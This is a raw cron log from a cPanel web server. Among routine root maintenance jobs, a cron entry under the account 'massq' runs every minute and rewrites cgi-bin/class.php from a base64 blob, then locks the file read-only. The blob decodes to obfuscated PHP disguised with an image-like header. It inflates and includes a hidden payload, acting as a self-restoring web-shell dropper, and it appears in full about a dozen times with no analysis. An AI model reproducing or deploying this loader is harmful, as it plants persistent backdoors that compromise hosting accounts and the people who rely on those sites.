Sep  8 04:28:01 server CROND[644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:28:01 server CROND[646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:29:01 server CROND[1702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:29:01 server CROND[1703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:29:01 server CROND[1704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:30:01 server CROND[2111]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  8 04:30:01 server CROND[2113]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:30:01 server CROND[2114]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:30:01 server CROND[2118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:30:01 server CROND[2119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:30:01 server CROND[2122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:30:01 server CROND[2120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:30:01 server CROND[2124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:30:01 server CROND[2123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:30:01 server CROND[2121]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 04:31:01 server CROND[2988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:31:01 server CROND[2989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:31:01 server CROND[2990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:32:01 server CROND[3356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:32:01 server CROND[3357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:32:01 server CROND[3358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:33:01 server CROND[3829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:33:01 server CROND[3830]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:33:01 server CROND[3831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:34:01 server CROND[4206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:34:01 server CROND[4208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:34:01 server CROND[4207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:35:01 server CROND[4587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 04:35:01 server CROND[4589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:35:01 server CROND[4592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:35:01 server CROND[4593]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:35:01 server CROND[4596]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 04:35:01 server CROND[4594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:35:01 server CROND[4599]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:35:01 server CROND[4597]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 04:35:01 server CROND[4595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:36:01 server CROND[5429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:36:01 server CROND[5431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:36:01 server CROND[5430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:37:01 server CROND[5798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:37:01 server CROND[5799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:37:01 server CROND[5800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:38:01 server CROND[6271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:38:01 server CROND[6270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:38:01 server CROND[6272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:39:01 server CROND[6641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:39:01 server CROND[6643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:39:01 server CROND[6642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 04:39:01 server CROND[6640]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
